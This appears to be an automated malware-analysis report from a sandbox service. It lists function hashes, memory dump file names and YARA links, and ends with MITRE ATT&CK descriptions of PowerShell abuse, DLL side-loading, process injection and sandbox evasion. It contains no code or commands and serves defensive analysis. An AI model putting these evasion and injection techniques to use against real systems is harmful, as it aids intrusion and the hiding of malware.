
Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e2e5a90b20276d845c7ac139bab630391b99d024889978b5384fe3a6c5b4ea
Instruction ID: cbf13db3c06349c26646931ff8456ac65e3fb778a0ce37d634a055d0f8fb1b4b
Opcode Fuzzy Hash: 05e2e5a90b20276d845c7ac139bab630391b99d024889978b5384fe3a6c5b4ea
Instruction Fuzzy Hash: DD213470A0C2449BC705EF59D880A2EFBF6EB95755F28881CE4C493362C335A850EB63

Function 00F50EEC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8268da86a6827d7ca56df45cd7da8e1f3a64bab0a6cbb98878a5f0527a921dc
Instruction ID: 74a0bf03ea45fc9f22828b045b086c6ba74d738661cbf058609e8c7cc6fe904b
Opcode Fuzzy Hash: e8268da86a6827d7ca56df45cd7da8e1f3a64bab0a6cbb98878a5f0527a921dc
Instruction Fuzzy Hash: C32139B490021A9FDB15CFA4CC90BBEBBB1FF4A305F144809E911BB292C735A915DB64

Function 00F85700 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8de5da0caeb9a914dc5156190962ce07658518836c2a4c80bd75f076cdb7093b
Instruction ID: e079e106117b45a4567c7e8c17112e772e646d251dc0df3a91eb697eeb540fa8
Opcode Fuzzy Hash: 8de5da0caeb9a914dc5156190962ce07658518836c2a4c80bd75f076cdb7093b
Instruction Fuzzy Hash: 2A11707591C240EBC301AF28EC45A5FBBF5AF96B10F158829E4C49B221D339D915EB93

Function 00F7B650 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: b4744acf33eacbc8127d7bf744df36968ab7fc57d3b17896189068d88227136f
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 6611E933A051D50EC7168D3C8840665BFA31AA3234B59C3EAF4BC9B2D2D7228D8A9356

Function 00F70B80 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90022ddfb32469098a8610d4b68e70bc315f5b0e8987f5b71d64abe4c0da561b
Instruction ID: 8b7d90848c4fb6fcf7ccd2b8eec2dd2f57dfbf92be71d67735bafb53180fe0b4
Opcode Fuzzy Hash: 90022ddfb32469098a8610d4b68e70bc315f5b0e8987f5b71d64abe4c0da561b
Instruction Fuzzy Hash: CB0175F5E0130197E7209E5898D1B3BB6A86FC0728F18852DD80ED7241DF7AED15E6D2

Function 00F6D1E1 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 504f801124eb913a6de88940604bb134c5d09d05d54a999d6764de342abbc80c
Instruction ID: 1c542e603dc354636fe802da501814d8a0e4c0318eba3df6f308e376b23a555a
Opcode Fuzzy Hash: 504f801124eb913a6de88940604bb134c5d09d05d54a999d6764de342abbc80c
Instruction Fuzzy Hash: 7B11EFB0408380AFD310AF618894A1FFBE5EB96714F148C1DF5A49B251C379E819DF56

Function 00F46EA0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba0f428dc16dc927e3cacec19f997957408260a6ec37f1ffd37517963476ca4f
Instruction ID: dc18ea7456ca97459a74c6c425aab3ac6fb8384ad3a116b75ff83dedcde68d66
Opcode Fuzzy Hash: ba0f428dc16dc927e3cacec19f997957408260a6ec37f1ffd37517963476ca4f
Instruction Fuzzy Hash: 00F0243AB1820A0BA210CDAAAC8083BB7D6D7CA374B041538EE80C3211DD72E806A291

Function 00F7B8C0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad40b8a8b0cf0c680be38028a9801f4e1e9da1297b4f3b9e1d9df466e9bee7e
Instruction ID: 6506d07c58c905065930edc77b6421f51c28c54387ea28b09faa2761b04cb969
Opcode Fuzzy Hash: dad40b8a8b0cf0c680be38028a9801f4e1e9da1297b4f3b9e1d9df466e9bee7e
Instruction Fuzzy Hash: 1E0162B3A199610B8348CE3DDC1156BBAD15BD5770F19872DBEF5CB3E0D230C8118695

Function 00F5C5F0 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8ebd7708255391ffa87ed53dd5dbf97c7cff7b52fcdad9dabb06971c835301f
Instruction ID: afd6f86e1ed7dc578beff9a6215ab27dc393fb41cabbec3b70aacfa27007612f
Opcode Fuzzy Hash: d8ebd7708255391ffa87ed53dd5dbf97c7cff7b52fcdad9dabb06971c835301f
Instruction Fuzzy Hash: EB014B72A196204B8308CE3C9C1112ABEE19B86330F158B2EBCFAD73E0D664CD548696

Function 00F5B410 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 809ee23363f840c811a801533be2b64f834fb93f4c5a4ab9cc37b5a2fd812bb4
Instruction ID: bdc5e84d2801e054653bf409ad38a52636994af457ba4751686de386240daa5d
Opcode Fuzzy Hash: 809ee23363f840c811a801533be2b64f834fb93f4c5a4ab9cc37b5a2fd812bb4
Instruction Fuzzy Hash: E4F0ECB1A0851057DF32CE549CC0F37BB9CCB97365F190426ED4557143D261584DC3E5

Function 00F78220 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b416517625e5487f98ebad64013a702777888dd010143a0ef145607971ad9576
Instruction ID: 12776fde3458dd621c07e7a751e463a67b30a38b208bdd424176fa2f9d90d8ec
Opcode Fuzzy Hash: b416517625e5487f98ebad64013a702777888dd010143a0ef145607971ad9576
Instruction Fuzzy Hash: 9401E4B04107009FC360EF29C845B9BBBE8EB09714F004A1DE8EECB681D770A5448B82

Function 00F81440 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction ID: 1274c134662e07bdd01958aa55bb69dc38531b05a8dad1464e7d80069a8e5c26
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: 18D05E21A0832186AB64DE19A8009B7F7E4FA87B21F49965EF586E3148D230DC42D2A9

Function 00F51ACD Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fec2cfae0a88c4b0263d4dfbcd4e7fcd977dc48c1660eafec5165f374d64ea2f
Instruction ID: 69560e6a51fe4240259650df16ecfd6b43fe10790910f89f7c880634087cd7f5
Opcode Fuzzy Hash: fec2cfae0a88c4b0263d4dfbcd4e7fcd977dc48c1660eafec5165f374d64ea2f
Instruction Fuzzy Hash: 9CC01238A190088F8204CF04E895A72B3B8A316209700602BDA02E3221DA20E41AEA09

Function 00F86094 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6213c085c21d5ba2fc751451cd3bfd4360aa2dec1d73253f97c7afe33b7bc52e
Instruction ID: 34a1452a97b83510e890c0ebb713e0a1ac85f2dc04577c505ed74bda8c1c5ba5
Opcode Fuzzy Hash: 6213c085c21d5ba2fc751451cd3bfd4360aa2dec1d73253f97c7afe33b7bc52e
Instruction Fuzzy Hash: 6BC09238A6C00887E20CCF08E9559B6F3BA9BDBB18B25B01FC80623296C134D512FA5C

Function 00F51A3C Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fea42a78e7bd38218a2c76caedd209f50a8695540bd0ec5bc90fd641380b223
Instruction ID: 88794bd5aa14b868fe4ae76150d8cb2a1daa44edab7553803f1f976cc1be105b
Opcode Fuzzy Hash: 5fea42a78e7bd38218a2c76caedd209f50a8695540bd0ec5bc90fd641380b223
Instruction Fuzzy Hash: 15C09B35A59044CFC244CF85E8D1572B3FC5317209710303B9B03F7261D560D41DE709

Function 00F85FD6 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62dba3282ba729dc1382e26da4a4a21b7009d0d9008dac8e93d975b49bfef1e7
Instruction ID: fc17d438004b638078999ce3a110737503a8e921ba65d582a209d81f3097e6d6
Opcode Fuzzy Hash: 62dba3282ba729dc1382e26da4a4a21b7009d0d9008dac8e93d975b49bfef1e7
Instruction Fuzzy Hash: BAC09228B680088BA24CCF18DD55936F2BA9BCBA18B15B02EC806A3256D134D512960C

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
